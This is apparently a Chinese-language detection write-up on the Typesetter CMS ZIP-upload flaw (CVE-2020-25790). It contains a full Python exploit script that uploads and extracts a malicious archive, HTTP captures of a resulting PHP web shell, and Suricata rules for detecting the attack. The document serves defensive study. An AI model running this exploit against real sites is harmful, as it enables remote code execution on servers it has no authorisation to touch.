跳转至

T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞

来自ATT&CK的描述

使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。

如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。

对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。

测试案例

Typesetter CMS存在代码问题漏洞,该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。

影响范围:Typesetter CMS 5.x全版本

检测日志

HTTP

测试复现

虽然对上传的文件进行了过滤,但是没有对解压文件的文件进行过滤,导致可以上传,php的压缩文件,解压后就可以执行php文件。

Finder.class.php文件中extract函数解压后未对,解压后的文件名进行任何过滤。POC如下:

import argparse

from bs4 import BeautifulSoup

import requests

import sys

import  re





import urllib3

from urllib3.exceptions import InsecureRequestWarning



banner = """ 
usage: main.py [-h] -p PASSWORD -l LOGIN -u URL
==> Exploit for CVE 2020-25790
optional arguments:
  -h, --help            show this help message and exit
  -p PASSWORD, --password PASSWORD
                        ==> admin password
  -l LOGIN, --login LOGIN
                        ==> admin login
  -u URL, --url URL     ==> main URL
  """



print(banner)

menu = argparse.ArgumentParser(description="==> Exploit for CVE 2020-25790")

menu.add_argument("-p", "--password", required=True, help="==> admin password")

menu.add_argument("-l", "--login", required=True, help="==> admin login")

menu.add_argument("-u", "--url", required=True, help="==> main URL")

menu.add_argument("-f", "--file", required=True, help="==> Malicous zip file with php file inside")

args = menu.parse_args()



login = args.login

password = args.password

url = args.url

file = args.file





PROXIES = proxies = {

    "http": "http://127.0.0.1:8080",

    "https": "https://127.0.0.1:8080",

}





class Exploit:



    def __init__(self, login, password, url, file):

        self.login = login

        self.password = password

        self.url = url

        self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari"

        self.file = open(file, 'rb')



    def get_nounce(self):

        try:

            url = self.url + "/Admin"

            r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False)

            data = r.text

            soap_obj = BeautifulSoup(data, 'html.parser')

            for inp in soap_obj.find_all("input"):

                for v in inp:

                    nounce = v['value']

                    if nounce != None or nounce != "":

                        return nounce

        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:

            print(f'==> Error {e}')



    def get_hash_folders(self):



        cookie_auth = self.get_cookies()

        hash_verified = self.get_verified()

        data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1}

        try:

            url = self.url + "/Admin_Finder"

            r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False)

            json_data = r.json()

            hash_dir = json_data['files'][2]['hash']

            return hash_dir

        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:

            print(f'==> Error {e}')



    def get_cookies(self):



        nounce = self.get_nounce()

        if nounce:

            try:

                url = self.url + "/Admin"

                data_post = {'file': '', 'cmd': 'login', 'login_nonce': nounce, 'username': self.login, 'user_sha': '',

                             'password': self.password, 'pass_md5': '', 'pass_sha': '', 'pass_sha512': '',

                             'remember': 'on', 'verified': ''}

                r = requests.post(url=url, verify=False, timeout=3, data=data_post, allow_redirects=False,

                                  headers={'User-Agent': self.user_agent, 'Cookie': 'g=2'})

                cookie_admin = r.headers['Set-Cookie']

                cookie_name = cookie_admin.split(':')[0].split('=')[0]

                cookie_value = cookie_admin.split(':')[0].split('=')[1].split(';')[0]



                if cookie_name == None or cookie_name == "":

                    if cookie_value == None or cookie_value == "":

                        print("==> Something went wrong while login")

                else:

                    data = f"{cookie_name}={cookie_value};"

                    return data

            except (requests.exceptions.Timeout, requests.exceptions.BaseHTTPError) as e:

                print(f'==> Error while login {e}')



    def upload_zip(self):

        url = self.url + '/Admin_Finder'

        hash_verified = self.get_verified()

        hash_dir = self.get_hash_folders()

        auth_cookie = self.get_cookies()



        try:

            print(f"==> Uploading file: {self.file}")

            data = {'cmd': "upload", "target": hash_dir, "verified": hash_verified}

            r = requests.post(url=url, verify=False, timeout=10,

                              headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, data=data, files={'upload[]': self.file})

            hash_file = r.json()['added'][0]['hash']

            self.extract_file(auth_cookie, hash_file, hash_verified)

        except (requests.exceptions.HTTPError, requests.exceptions.Timeout) as e:

            print(f"==> Error while uploading {e}")





    def extract_file(self, auth_cookie, hash_file, hash_verified):

        data_post={'verified': hash_verified, 'cmd': 'extract', 'target': hash_file}

        try:

            url = self.url + "/Admin_Finder"

            r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)

            name_file = r.json()['added'][0]['name']

            print(f"==> All Hashes are collected from: {name_file}") 

            self.xpl(auth_cookie,name_file)

        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:

            print(f'==> Error {e}')





    def xpl(self, auth_cookie, name_file):

        try:

            url = self.url + "/data/_uploaded/file/" + name_file + "?cmd=id"

            new_url = url.replace("index.php", "")

            print(f"==> Try to exploit: {new_url}")

            r = requests.get(url=new_url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)

            pattern = r'<pre>(.*?)</pre>'

            m = re.search(pattern, r.text.replace("\n", ""))

            if m is not None and m != "":

                print(f"==> Vulnerable: {m.group(1)}")

        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:

            print(f'==> Error {e}')





    def get_verified(self):

        try:

            url = self.url + "/Admin/Uploaded"

            auth_cookie = self.get_cookies()

            r = requests.get(url=url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)

            data = r.text

            pattern_regex = r'"verified":"(.*)"}'

            m = re.search(pattern_regex, data)

            if m is not None or m != "":

                return m.group(1)



        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:

            print(f'==> Error {e}')



if __name__ == "__main__":

    obj = Exploit(login, password, url, file)

    obj.upload_zip()

测试留痕

POST /index.php/Admin_Finder HTTP/1.1
Host: 172.17.41.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 186
Origin: http://172.17.41.106
Connection: keep-alive
Referer: http://172.17.41.106/index.php/Admin/Uploaded
Cookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l

verified=cea661e44fe5fe2e1e39fe3c9b055d556ea565fdc613f2adf8aed7b91d14f71002e28067814822df3aaf258cd7d97883f90b7a507fcdd8685b7deea232b9748b&cmd=extract&target=l1_ZmlsZS9zaW1wbGUucGhwLnppcAHTTP/1.1 200 OK
Date: Fri, 09 Oct 2020 07:42:58 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 9 Oct 2020 07:42:58 GMT
Expires: Fri, 9 Oct 2020 07:42:58 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Length: 144
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

{"added":[{"mime":"text\/html","ts":1600337620,"read":1,"write":1,"size":348,"hash":"l1_ZmlsZS9zaW1wbGUucGhw","name":"simple.php","phash":"l1_ZmlsZQ"}]}GET /data/_uploaded/file/simple.php HTTP/1.1
Host: 172.17.41.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://172.17.41.106/index.php/Admin/Uploaded
Cookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Fri, 09 Oct 2020 07:43:01 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 181
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<html>
<body>
<form method="GET" name="simple.php">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

检测规则/思路

Suricata规则

alert http any any -> any any (msg:"CVE-2020-25790-requset";flow:established,to_server;content:"POST";http_method;content:"/index.php/Admin_Finder";http_uri;content:"&cmd=extract&target=";http_client_body; flowbits: set, first_get_req; noalert; reference:url,blog.csdn.net/xuandao_ahfengren/article/details/111402910;classtype:web-application-attck;sid:1;rev:1;)

alert http any any -> any any (msg:"CVE-2020-25790-rsp";flow:established,to_client;content:"200";http_stat_code;content:"added";http_server_body;flowbits:isset,first_get_req;noalert;flowbits:set,second_get_req;sid:2;rev:1;)

alert http any any -> any any (msg:"CVE-2020-25790-Typesetter CMS文件上传漏洞";flow:established,to_server;content:"GET";http_method;content:"/data/_uploaded/file/";http_uri;flowbits:isset,second_get_req;sid:3;rev:1;)

建议

流量+安全设备比较容易检测到此攻击行为。

参考推荐

MITRE-ATT&CK-T1190

https://attack.mitre.org/techniques/T1190/

Typesetter CMS文件上传漏洞复现(CVE-2020-25790)

https://blog.csdn.net/xuandao_ahfengren/article/details/111402910